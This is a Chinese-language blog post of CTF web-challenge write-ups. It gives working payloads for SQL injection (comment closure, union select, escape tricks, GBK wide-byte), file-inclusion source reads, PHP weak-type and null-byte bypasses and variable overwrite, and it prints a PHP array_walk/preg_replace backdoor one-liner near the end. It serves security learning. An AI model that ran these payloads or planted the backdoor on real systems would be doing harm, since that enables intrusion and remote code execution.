0%

CTF

本文总结了CTF中我所遇到的题型及其write up,本文长期更新

希望各位多多评论指正,也算作对我第一次写技术文章的鼓励!


训练场:南京邮电大学CTF题库


直接查看源码

出现场景:一般出现在第一题

write up: 直接Ctrl+u查看网页源码寻找flag

修改maxlength

出现场景:输入框输入内容有位数限制

write up:F12进入开发者模式修改maxlength后提交

IP伪造

各种伪造IP的HTTP头:

序号伪造方式
1X-Forwarded-For
2Client-IP
3x-remote-IP
4x-originating-IP
5x-remote-addr

进制转换

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

分析:要求传入key不包含数字[1-9],但又等于54975581388,考虑转十六进制,发现54975581388=0xccccccccc,因此get方法传值key=0xccccccccc

PHP弱类型

类型一

介绍:PHP在处理哈希字符串时,会利用“!=”或“==”
来对哈希值进行比较,它把每一个以”0e”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0e”开头的,那么PHP将会认为他们相同,都是0

出现场景:PHP代码审计、含md5的题

write up:

修复方法:“===”和“!==”strict比较符,只有在类型相同时才相等。“==”和“!=”即non-strict比较符,会在类型转换后进行比较

扩展:0e开头MD5值小结

stringmd5()
s878926199a0e545993274517709034328855841020
s155964671a0e342768416822451524974117254469
s214587387a0e848240448830537924465865611904

类型二

源码:

1
2
3
4
5
6
7
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

分析:$_GET可以接受数组但MD5()函数若传递进去一个数组,则会返回null.因此向$_GET数组传入两个名为a、b的不相等的数组从而导致md5()均返回空:index.php?a[]=1&b[]=2(即null=null)

脑洞题

  1. 源码找url

image

  1. 源码看flag

image

jjencode/aaencode(颜文字)

介绍:

什么是jjencode?

将js代码转换成只有符号的字符串

什么是aaencode?

将js代码转换成常用的网络表情

aaencode加密:http://utf-8.jp/public/aaencode.html

解法:可以直接利用浏览器的控制台输入密文,执行后即可解密。

image

文件包含漏洞

典型的文件包含漏洞的格式网址:php?file=xxx.php

原因:网页后端php(或其他)代码中使用了include等文件包含语句,而且所包含的文件由变量控制,恰恰此变量又能通过GET或POST等方式进行修改所造成的

利用方法:构建file=php://filter/read=convert.base64-encode/resource=index.php

注:其中index.php可以为任意已包含文件返回base64加密过的index.php文件源码。

image

注意:python3中base64的解密为base64.b64decode()

mysql

  1. 精度问题

intval()这个函数的作用是把参数自动转换成整数(int)

$id = intval(1024.5)//结果为$id==1024

robots.txt

介绍:robots.txt是搜索引擎中访问网站的时候要查看的第一个文件,robots.txt文件告诉了蜘蛛程序在服务器上什么文件是可以被查的。

%00

源码:

1
2
3
4
5
6
7
8
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

涉及漏洞:查到资料

1.ereg会把null视为字符串的结束,从而被%00截断,而strpos则可以越过%00

2.当ntf为数组时它的返回值不是FALSE

利用方法:

1.?nctf=1%00%23biubiubiu

2.?nctf[]=1

变量覆盖

源码:

1
2
3
4
5
6
7
8
9
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>

分析:extract()函数的作用:从数组中将变量导入到当前的符号表

可以看到这里的代码为:extract($_POST),即将POST的参数导入当前的符号表

由于extract()函数存在变量覆盖漏洞,所以提交post参数:

pass=123&thepassword_123=123//或者pass[]=&thepassword_123

即:将两个变量的值修改成相同的,即可得到flag!

上传绕过

源码:

1
2
3
4
5
6
7
8
9
文件上传<br><br>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="hidden" name="dir" value="/uploads/" />
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

0x00截断

绕过方法:在burpsuite—Hex中,将空格php后面一个字符的hex修改为00

SQL注入

常规注入

正常闭合

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];

分析:会对传入参数两端去空格,然后sql拼接如下

$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";

所以只要用构造一下user的值,使语法无误,然后注释掉后面的即可。

MySQL主要有三种注释方式:

注释方式说明
#注释到行尾
/*内容*/用于行间或多行注释(也可用/**/代替空格)
也是注释到行尾,但需要注意的是在两个减号后面至少要有一个\s,也就是空格,TAB,换行符等(’ or 1=1– )

解法:本题可post:
user=admin')-- -&pass=123或user=admin')#&pass=123

sql语句就变成select user from ctf where (user='admin')#' and (pw='123')

查询语句就能成功返回user列,值为admin的那条记录。

union查询

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

解法:关键点在源代码第7、8行。首先要观察,我们能够控制的查询结果有$query[pw]的值,通过让union前的查询语句为空,查询结果由union后面的语句控制即可。

例如:select pw from ctf where user='-1' union select 'mytest'这样查询结果pw就是’mytest’这个字符串了。再看那个if语句,只看后面的判断,实际上只要输入的和查询的结果一致就行了。

注意别忘记输入pass后,会对其进行MD5加密。所以构造post:user=' union select md5('suqir')#&pass=suqir查询语句就变为SELECT * FROM users WHERE name='admin' AND pass='pass';

转义

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;
-->

分析:这题的clean函数用来过滤引号,会将其转化为实体编码,所以我们没有办法直接用引号来闭合了,只能运用转义字符来吃掉后面的那个单引号了,即构造username=suqir\&password=or%201%23
使得查询语句如下

SELECT * FROM users WHERE name='suqir\'' AND pass='or%201%23'

1
2
3
4
5
6
SELECT * FROM users WHERE 
name='suqir\' AND pass=' 『 [name]的值为 [' AND pass=] ,显然逻辑值为false 』
or 1 『 但没关系,[false or 1] 的逻辑值为真』
#' 『 注释掉多余的单引号 』

select * from users where false or 1

一道综合题:南邮CTF-综合题2及其writeup

GBK宽字节编码漏洞(gbk_sql_injection)

介绍:php中MYSQL数据库,如果是GBK编码.一定要小心GBK宽字节编码漏洞
正常情况下 magic_quote_gpc 为ON,如果输入

http://www.xxxx.com/index.php?user=11′ and 1=2 #

SQL语句就会变成

SELECT * FROM user WHERE user=’1\’ and 1=2 #’

自动加上了\转义,如果构造特殊的宽字节编码呢?

http://www.xxxx.com/index.php?user=11%df%27 and 1=2 #

SQL语句就变成

SELECT * FROM user WHERE user=’11運’ and 1=2#’

这样就注入上了!

11%df会被解析成11運,而%27被邪恶的解析成'就绕过了gpc转义,就成功构造注入了

Unix/Linux相关

bash_history

Bash shell在~/.bash_history~/表示用户目录)文件中保存了500条使用过的命令,这样可以使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个.bash_history文件。

为了安全,bash shell应该保存少量的命令,并且在每次用户注销时都把这些历史命令删除。

删除方法: 第一步:/etc/profile文件中的HISTFILESIZEHISTSIZE行确定所有用户的.bash_history文件中可以保存的旧命令条数。强烈建议把把/etc/profile文件中的HISTFILESIZEHISTSIZE行的值设为一个较小的数,比如30。编辑profile文件vi /etc/profile,把下面这行改为:

1
2
HISTFILESIZE=30
HISTSIZE=30

这表示每个用户的.bash_history文件只可以保存30条旧命令。

第二步:网管还应该在/etc/skel/.bash_logout文件中添加下面这行rm -f $HOME/.bash_history。这样,当用户每次注销时.bash_history文件都会被删除.

vi编辑器的备份文件

linux下一般使用vi编辑器,并且异常退出会留下备份文件xxx.swp

一句话木马

数组回调后门

源码:

1
2
3
4
5
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

分析:利用了php中回调函数的后门,可以使wwwpreg_replace函数,当array_walk()将函数作用于数组时,POST传入的数据作为preg_replace()的第二个参数,在替换后被当做 php 代码执行(在php5.3下可用,5.5后preg_replace函数已弃用了使替换后的字符串作为php代码执行的/e修饰符)。

测试:
image

未完待续。。。

您的支持将鼓励我的创作!

欢迎关注我的其它发布渠道